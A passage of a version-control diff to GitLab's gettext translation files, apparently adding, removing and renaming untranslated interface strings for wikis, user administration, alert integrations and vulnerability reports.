-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/uz_UZ/gitlab.po b/locale/uz_UZ/gitlab.po
index fa8d9e49323..97bef873a97 100644
--- a/locale/uz_UZ/gitlab.po
+++ b/locale/uz_UZ/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: uz\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:43\n"
+"PO-Revision-Date: 2020-12-03 08:12\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
